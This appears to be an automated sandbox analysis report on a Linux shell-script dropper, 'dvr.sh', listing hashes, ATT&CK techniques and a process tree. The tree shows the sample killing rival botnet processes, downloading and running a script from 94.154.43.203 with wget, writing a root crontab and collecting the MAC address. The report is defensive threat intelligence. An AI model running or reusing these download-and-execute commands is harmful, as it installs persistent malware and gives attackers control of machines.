69783eb318e400d57b9e5eeed561f62ef711e15aa7afa3fd925a3d663c291633

Analysis

max time kernel
5s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 18:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dvr.sh
Size 2KB
Sample261002-xmmsgax14r
SHA256 69783eb318e400d57b9e5eeed561f62ef711e15aa7afa3fd925a3d663c291633
MD5 9cd0763cb8b59b661be5770154f919e5
SHA1 56ccee11d67812f6c2e4df498f686c8735a18557
SHA512 11d57dbaa3aa39c5b0a7c4d7d92a4d6fc4d59bcd2db697ac74dfd5af69bda09ac92a7acc16bd8f2e189ab8704687af4994f42202bb2a10cb3683dceb42b2fd55
TLSH
T1295189F8F930E6717EADC37DF31C11AA6987A97B01607764800BBC28B48C45CF68A671
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/757/stat	killall
File opened for reading	/proc/108/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/642/stat	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/305/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/345/stat	killall
File opened for reading	/proc/136/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/642/stat	killall
File opened for reading	/proc/745/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/305/stat	killall
File opened for reading	/proc/606/stat	killall
File opened for reading	/proc/321/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/594/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/277/stat	killall
File opened for reading	/proc/653/stat	killall
File opened for reading	/proc/156/stat	killall
File opened for reading	/proc/599/stat	killall
File opened for reading	/proc/160/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/652/stat	killall
File opened for reading	/proc/97/stat	killall
File opened for reading	/proc/106/stat	killall
File opened for reading	/proc/302/stat	killall
File opened for reading	/proc/305/stat	killall
File opened for reading	/proc/653/stat	killall
File opened for reading	/proc/109/stat	killall
File opened for reading	/proc/575/stat	killall
File opened for reading	/proc/740/stat	killall
File opened for reading	/proc/658/stat	killall
File opened for reading	/proc/606/stat	killall
File opened for reading	/proc/109/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/745/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/345/stat	killall
File opened for reading	/proc/643/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/157/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/302/stat	killall
File opened for reading	/proc/319/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/214/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/740/stat	killall
File opened for reading	/proc/137/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/136/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/9/stat	killall

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
666	killall
696	killall
753	killall
770	killall
786	ip

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/kla	wget
File opened for modification	/tmp/.xmN	touch

/tmp/dvr.sh
/tmp/dvr.sh
1⤵
PID:653
- /usr/bin/killall
  killall -9 robben
  2⤵
  - Reads runtime system information
  PID:656
- /usr/bin/killall
  killall -9 net.x86
  2⤵
  - Reads runtime system information
  PID:661
- /usr/bin/killall
  killall -9 net.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:666
- /usr/bin/killall
  killall -9 net.arm
  2⤵
  - Reads runtime system information
  PID:670
- /usr/bin/killall
  killall -9 net.arm5
  2⤵
  PID:676
- /usr/bin/killall
  killall -9 net.arm6
  2⤵
  - Reads runtime system information
  PID:681
- /usr/bin/killall
  killall -9 net.arm7
  2⤵
  - Reads runtime system information
  PID:683
- /usr/bin/killall
  killall -9 net.mpsl
  2⤵
  - Reads runtime system information
  PID:685
- /usr/bin/killall
  killall -9 net.ppc
  2⤵
  - Reads runtime system information
  PID:688
- /usr/bin/killall
  killall -9 net.m68k
  2⤵
  - Reads runtime system information
  PID:690
- /usr/bin/killall
  killall -9 net.sh4
  2⤵
  - Reads runtime system information
  PID:691
- /usr/bin/killall
  killall -9 net.i486
  2⤵
  PID:692
- /usr/bin/killall
  killall -9 net.i686
  2⤵
  - Reads runtime system information
  PID:693
- /usr/bin/killall
  killall -9 px86
  2⤵
  - Reads runtime system information
  PID:695
- /usr/bin/killall
  killall -9 pmips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:696
- /usr/bin/killall
  killall -9 parm
  2⤵
  - Reads runtime system information
  PID:697
- /usr/bin/killall
  killall -9 hajime
  2⤵
  - Reads runtime system information
  PID:698
- /usr/bin/killall
  killall -9 sora
  2⤵
  PID:699
- /bin/rm
  rm -f kla
  2⤵
  PID:700
- /usr/bin/wget
  wget -q -O kla http://94.154.43.203:8080/cur.sh
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/tr
  tr -cd 0-9
  2⤵
  PID:737
- /usr/bin/wc
  wc -c
  2⤵
  PID:736
- /bin/chmod
  chmod 777 kla
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /bin/sh
  sh kla
  2⤵
  - Creates/modifies Cron job
  PID:740
- - /usr/bin/tr
    tr -cd 0-9
    3⤵
    PID:744
- - /usr/bin/wc
    wc -c
    3⤵
    PID:743
- - /usr/bin/killall
    killall -9 robben
    3⤵
    - Reads runtime system information
    PID:747
- - /usr/bin/killall
    killall -9 net.x86
    3⤵
    - Reads runtime system information
    PID:750
- - /usr/bin/killall
    killall -9 net.mips
    3⤵
    - System Network Configuration Discovery
    PID:753
- - /usr/bin/killall
    killall -9 net.arm
    3⤵
    - Reads runtime system information
    PID:755
- - /usr/bin/killall
    killall -9 net.arm5
    3⤵
    PID:758
- - /usr/bin/killall
    killall -9 net.arm6
    3⤵
    - Reads runtime system information
    PID:760
- - /usr/bin/killall
    killall -9 net.arm7
    3⤵
    - Reads runtime system information
    PID:761
- - /usr/bin/killall
    killall -9 net.mpsl
    3⤵
    - Reads runtime system information
    PID:762
- - /usr/bin/killall
    killall -9 net.ppc
    3⤵
    - Reads runtime system information
    PID:764
- - /usr/bin/killall
    killall -9 net.m68k
    3⤵
    PID:765
- - /usr/bin/killall
    killall -9 net.sh4
    3⤵
    - Reads runtime system information
    PID:766
- - /usr/bin/killall
    killall -9 net.i486
    3⤵
    - Reads runtime system information
    PID:767
- - /usr/bin/killall
    killall -9 net.i686
    3⤵
    PID:768
- - /usr/bin/killall
    killall -9 px86
    3⤵
    - Reads runtime system information
    PID:769
- - /usr/bin/killall
    killall -9 pmips
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:770
- - /usr/bin/killall
    killall -9 parm
    3⤵
    PID:771
- - /usr/bin/killall
    killall -9 hajime
    3⤵
    - Reads runtime system information
    PID:772
- - /usr/bin/killall
    killall -9 sora
    3⤵
    - Reads runtime system information
    PID:773
- - /usr/sbin/cron
    /usr/sbin/cron
    3⤵
    PID:774
- - /usr/bin/cron
    /usr/bin/cron
    3⤵
    PID:775
- - /usr/bin/killall
    killall -1 crond
    3⤵
    - Reads runtime system information
    PID:776
- - /usr/bin/killall
    killall -1 cron
    3⤵
    PID:777
- - /usr/bin/touch
    touch /tmp/.xmN
    3⤵
    - Writes file to tmp directory
    PID:778
- - /bin/grep
    grep -iE "hwaddr|ether"
    3⤵
    PID:781
- - /bin/grep
    grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
    3⤵
    PID:782
- - /usr/bin/head
    head -1
    3⤵
    PID:783
- - /usr/bin/tr
    tr -d :
    3⤵
    PID:784
- - /bin/grep
    grep -iE link/ether
    3⤵
    PID:787
- - /bin/grep
    grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
    3⤵
    PID:788
- - /sbin/ip
    ip addr show
    3⤵
    - System Network Configuration Discovery
    PID:786
- - /usr/bin/head
    head -1
    3⤵
    PID:789
- - /usr/bin/tr
    tr -d :
    3⤵
    PID:790
- - /usr/bin/wget
    wget -q -O - http://94.154.43.203:8080/lease-xmee4d7e810562
    3⤵
    PID:791
- - /bin/cat
    cat /tmp/.xmver
    3⤵
    PID:792
- - /usr/bin/killall
    killall -9 xm
    3⤵
    - Reads runtime system information
    PID:793
- - /usr/bin/killall
    killall -9 .sd
    3⤵
    - Reads runtime system information
    PID:794
- - /bin/rm
    rm -f /tmp/.xmN
    3⤵
    PID:795

/usr/bin/wget
wget -q -O /dev/null http://94.154.43.203:8080/skip-xmee4d7e810562-v20
1⤵
PID:796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

kla

Path /tmp/kla
Size 7KB
SHA256 2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648
MD5 300d70c24a3f36848f7f9e212e5eaa8b
SHA1 88371cf3312027c78eb17715f398daad045a3bfb
SHA512 b13689a0a6ac68f7d05f672fb321d4f1571959844b342f62326ee87ff16119224128b10a8fa80576d820987c5c273a5b5d65d71b8cfe10766d855c417e75d421
SSDEEP 96:tbAfL58OZyrQH/Wg6PI6NVpmpEckSCBzIprU9xrLrqDN1SjaGBjA5eZj33PMjH:NyV8OZB1T6NHSCkUL3q3BuPi
TLSH
T1BEF13FF9F620C635B80DC63DF659A5928E83987F06B87B60B44BEC28361C54C712E676
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 88B
SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
MD5 1faecacdff4e77aa696e38941020dcd6
SHA1 0fbb6db7b532a15fb42aebdf2416c0869882cf4f
SHA512 a4deba406ae0a6b1d38ec60877f4a1d76e9ee527b9baa5e76fc00c9bb566163b1666f47d11870a867e7b1233e295a5e004215a7460dc18e148f6a02602d6c0dc
TLSH
T1AFB012E016001A300141D2243212A8A06107E0C0051309B9546E0C04285D713B614540
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads